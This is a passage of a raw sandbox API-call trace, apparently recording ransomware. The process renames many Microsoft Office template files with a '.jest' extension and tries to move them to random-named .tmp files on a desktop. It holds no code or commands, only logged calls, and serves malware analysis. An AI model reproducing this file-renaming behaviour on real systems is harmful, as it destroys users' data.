halpmcxz\\desktop\\xndridszjzjpiuu2eqsjwegcihr6hctj7ksavnjoltxb4jo tyrcot6xcm87-jr2jo155isgwcy_nk01nkwv-7n4gs6ei7vbqhnom.tmp")) returned 0 [0163.770] GetLastError () returned 0x2 [0163.770] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﮝ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.771] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\EquityFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax\\equityfax.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\EquityFax.Dotx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax\\equityfax.dotx.jest")) returned 1 [0163.774] VarBstrFromR4 (in: fltIn=0x479456b7, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.43") returned 0x0 [0163.775] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\EquityFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax\\equityfax.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YXhfB3AjwukmjqljkUNgDXtQ1xaRbHtZ12I93t XWzQlPiPKcEikZdF_JkXw4CX5rCXc_NQzjRLVLLyeaZ1lxeUWhnM6fjBlZLVV.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yxhfb3ajwukmjqljkungdxtq1xarbhtz12i93t xwzqlpipkceikzdf_jkxw4cx5rcxc_nqzjrlvllyeaz1lxeuwhnm6fjblzlvv.tmp")) returned 0 [0163.775] GetLastError () returned 0x2 [0163.776] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.809] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EquityLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\equityletter.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EquityLetter.Dotx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\equityletter.dotx.jest")) returned 1 [0163.812] VarBstrFromR4 (in: fltIn=0x479456bd, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.48") returned 0x0 [0163.813] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EquityLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\equityletter.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kPJEIyzGRK_6IvnIP8G0p38GWAY7tjEN yZ6MmOKfRrOHw3bKzILTTjuv33CyX0ZHg6Jxvz2q3_pC6vyqH-nVL7UuRxsrFrLsycgx.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kpjeiyzgrk_6ivnip8g0p38gway7tjen yz6mmokfrrohw3bkzilttjuv33cyx0zhg6jxvz2q3_pc6vyqh-nvl7uurxsrfrlsycgx.tmp")) returned 0 [0163.813] GetLastError () returned 0x2 [0163.813] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.825] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EquityMergeFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\equitymergefax.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EquityMergeFax.Dotx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\equitymergefax.dotx.jest")) returned 1 [0163.828] VarBstrFromR4 (in: fltIn=0x479456be, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.48") returned 0x0 [0163.829] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EquityMergeFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\equitymergefax.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SCHlwOF2lgvCR2ldFSdwsuEdszZ0t_xUdJ64b7Vz9UQNzp-m0WMO0wORB2x1ssDgLJJjCbXBl2C3JFHDY9RWRdWc66GWRONlkEgPp.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\schlwof2lgvcr2ldfsdwsuedszz0t_xudj64b7vz9uqnzp-m0wmo0worb2x1ssdgljjjcbxbl2c3jfhdy9rwrdwc66gwronlkegpp.tmp")) returned 0 [0163.829] GetLastError () returned 0x2 [0163.829] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.841] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EquityMergeLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\equitymergeletter.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EquityMergeLetter.Dotx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\equitymergeletter.dotx.jest")) returned 1 [0163.844] VarBstrFromR4 (in: fltIn=0x479456c1, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.51") returned 0x0 [0163.845] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EquityMergeLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\equitymergeletter.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E6XuApK9cP1Ty9k32OOwkqsm5dxPrF1uWoCdzLJKsXUoaEvvteBD6nNhQHqd_CXDHEV3KLIPtfjpQhi2mr2XybpRqyUSj0Hxtpr_.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\e6xuapk9cp1ty9k32oowkqsm5dxprf1uwocdzljksxuoaevvtebd6nnhqhqd_cxdhev3kliptfjpqhi2mr2xybprqyusj0hxtpr_.tmp")) returned 0 [0163.845] GetLastError () returned 0x2 [0163.846] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.847] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EquityReport.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\equityreport.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EquityReport.Dotx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\equityreport.dotx.jest")) returned 1 [0163.848] VarBstrFromR4 (in: fltIn=0x479456c1, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.51") returned 0x0 [0163.849] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EquityReport.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\equityreport.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hBqlSjEnIgPi4rdDgXTXx4IOALgGD0yPzWI9DBCkorRgHV-aip747s39QMxmSQOaswfu1WWK7JrF0wTAT5LKWOU6Q3Kr3gitpA7cW.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hbqlsjenigpi4rddgxtxx4ioalggd0ypzwi9dbckorrghv-aip747s39qmxmsqoaswfu1wwk7jrf0wtat5lkwou6q3kr3gitpa7cw.tmp")) returned 0 [0163.850] GetLastError () returned 0x2 [0163.851] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.872] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EquityResume.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\equityresume.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EquityResume.Dotx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\equityresume.dotx.jest")) returned 1 [0163.874] VarBstrFromR4 (in: fltIn=0x479456c4, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.53") returned 0x0 [0163.875] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EquityResume.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\equityresume.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NDoHPEU6e_2S2-sImQV-0iLfP5u3DbGEUFtcF8mbWd3Joc19f4dJtBJml0P3P5NxCQD0WdPz-VPjtH1exVrB0J3ptr-WS8qXY_seD.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ndohpeu6e_2s2-simqv-0ilfp5u3dbgeuftcf8mbwd3joc19f4djtbjml0p3p5nxcqd0wdpz-vpjth1exvrb0j3ptr-ws8qxy_sed.tmp")) returned 0 [0163.875] GetLastError () returned 0x2 [0163.876] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.888] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EssentialLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\essentialletter.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EssentialLetter.dotx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\essentialletter.dotx.jest")) returned 1 [0163.890] VarBstrFromR4 (in: fltIn=0x479456c7, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.55") returned 0x0 [0163.892] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EssentialLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\essentialletter.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZtMyyIXzTulURF3IAof5 0sj4miWh6nC4kCsLuVpKE_KiW6n_hyqBBKfnTK7 ZxokjKv3sZDl-T-37owiqNJP2o3MhTQHJqzecE.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ztmyyixztulurf3iaof5 0sj4miwh6nc4kcsluvpke_kiw6n_hyqbbkfntk7 zxokjkv3szdl-t-37owiqnjp2o3mhtqhjqzece.tmp")) returned 0 [0163.892] GetLastError () returned 0x2 [0163.892] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.904] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EssentialMergeLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\essentialmergeletter.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EssentialMergeLetter.dotx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\essentialmergeletter.dotx.jest")) returned 1 [0163.907] VarBstrFromR4 (in: fltIn=0x479456c8, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.56") returned 0x0 [0163.908] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EssentialMergeLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\essentialmergeletter.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0Qzq -GHYo9mU 4mRJo4 ykxjXul9EULQENfMNdoXR9oCCvqVyft7PzMwl99EJb9Wa_sI90vQqCt0LCh67wisn8elCMLuTq80Wb.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0qzq -ghyo9mu 4mrjo4 ykxjxul9eulqenfmndoxr9occvqvyft7pzmwl99ejb9wa_si90vqqct0lch67wisn8elcmlutq80wb.tmp")) returned 0 [0163.908] GetLastError () returned 0x2 [0163.909] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.910] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EssentialReport.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\essentialreport.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EssentialReport.dotx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\essentialreport.dotx.jest")) returned 1 [0163.912] VarBstrFromR4 (in: fltIn=0x479456c8, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.56") returned 0x0 [0163.913] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EssentialReport.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\essentialreport.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Fl7QjwM5C1PRaR9-IsXCI7SP0PJqTYzMXl9wuuUg8HS_0_XeAgACKdiYpGVxV6mV9ANw8KyNbAOdE7BT7TAR58W3VU0jqJsi4K9I.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fl7qjwm5c1prar9-isxci7sp0pjqtyzmxl9wuuug8hs_0_xeagackdiypgvxv6mv9anw8kynbaode7bt7tar58w3vu0jqjsi4k9i.tmp")) returned 0 [0163.913] GetLastError () returned 0x2 [0163.913] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.915] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EssentialResume.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\essentialresume.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EssentialResume.dotx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\essentialresume.dotx.jest")) returned 1 [0163.917] VarBstrFromR4 (in: fltIn=0x479456c8, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.56") returned 0x0 [0163.918] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EssentialResume.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\essentialresume.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\KlC_f9kd8ojDuuZrKN7Qirkec2iCTSqyiSSp8wC7qO9Qp39DRi47N7-KvLoW19_kMBcIpKe6KTdn68DYBGAt3IjCskhbkVi9tkMgU.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\klc_f9kd8ojduuzrkn7qirkec2ictsqyissp8wc7qo9qp39dri47n7-kvlow19_kmbcipke6ktdn68dybgat3ijcskhbkvi9tkmgu.tmp")) returned 0 [0163.918] GetLastError () returned 0x2 [0163.918] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.920] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\executiveletter.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveLetter.dotx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\executiveletter.dotx.jest")) returned 1 [0163.922] VarBstrFromR4 (in: fltIn=0x479456ca, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.58") returned 0x0 [0163.923] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\executiveletter.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nj-gQWgS6243RZm 3hJN7PaZ7LpcnyF372hnW8ez gL-uOX0UJuFUEz7NnvPFsed2iVC8zVBqNVrwh ycQcFbUfdYWSi5VahJ-_z9.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nj-gqwgs6243rzm 3hjn7paz7lpcnyf372hnw8ez gl-uox0ujufuez7nnvpfsed2ivc8zvbqnvrwh ycqcfbufdywsi5vahj-_z9.tmp")) returned 0 [0163.923] GetLastError () returned 0x2 [0163.923] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.925] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveMergeLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\executivemergeletter.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveMergeLetter.dotx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\executivemergeletter.dotx.jest")) returned 1 [0163.927] VarBstrFromR4 (in: fltIn=0x479456ca, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.58") returned 0x0 [0163.928] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveMergeLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\executivemergeletter.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VWhQjdJD815_lMGRI0PAdvH1L4eUSkDPjwiNSCvL62OY1BWhE5fGv7eD_xiIdftHeyMc_mP1aJoQwKyFABqeZGtOllRLdQR0JHOD.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vwhqjdjd815_lmgri0padvh1l4euskdpjwinscvl62oy1bwhe5fgv7ed_xiidftheymc_mp1ajoqwkyfabqezgtollrldqr0jhod.tmp")) returned 0 [0163.928] GetLastError () returned 0x2 [0163.928] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.930] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveNewsletter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\executivenewsletter.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveNewsletter.dotx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\executivenewsletter.dotx.jest")) returned 1 [0163.932] VarBstrFromR4 (in: fltIn=0x479456ca, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.58") returned 0x0 [0163.933] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveNewsletter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\executivenewsletter.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\F1IkMi-Wkne6yGUklDEwKXfw5CaxNMgkmeIEjLMtV0MWTKPBtN0hLp n3r lgY3crstJOOtKAbtZHR2mvc1pLL6ojIF-HNc8uYZQW.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\f1ikmi-wkne6ygukldewkxfw5caxnmgkmeiejlmtv0mwtkpbtn0hlp n3r lgy3crstjootkabtzhr2mvc1pll6ojif-hnc8uyzqw.tmp")) returned 0 [0163.933] GetLastError () returned 0x2 [0163.933] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.935] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveReport.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\executivereport.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveReport.dotx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\executivereport.dotx.jest")) returned 1 [0163.936] VarBstrFromR4 (in: fltIn=0x479456cc, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.59") returned 0x0 [0163.937] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveReport.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\executivereport.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\54k1mS v7ePESqZ247D XOeutIgk2RrrdgDmLvXH8 woSEhpdwbnLudcGk0cQoXFbK69yXYRt7F83MqrMqiyb7jqEIwNBycshHac.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\54k1ms v7epesqz247d xoeutigk2rrrdgdmlvxh8 wosehpdwbnludcgk0cqoxfbk69yxyrt7f83mqrmqiyb7jqeiwnbycshhac.tmp")) returned 0 [0163.938] GetLastError () returned 0x2 [0163.938] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.939] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveResume.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\executiveresume.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveResume.dotx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\executiveresume.dotx.jest")) returned 1 [0163.941] VarBstrFromR4 (in: fltIn=0x479456cc, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.59") returned 0x0 [0163.943] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveResume.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\executiveresume.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3egqAiz6twka1k Ors6GVEprpXS34oQ8z9N_kvcfP5UkVon8l-It7TN4UuCKzE06Kh8lhXXQPDC8lAfzCphlZE9qk_fnximQtgRss.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3egqaiz6twka1k ors6gveprpxs34oq8z9n_kvcfp5ukvon8l-it7tn4uuckze06kh8lhxxqpdc8lafzcphlze9qk_fnximqtgrss.tmp")) returned 0 [0163.943] GetLastError () returned 0x2 [0163.943] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﭱ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, 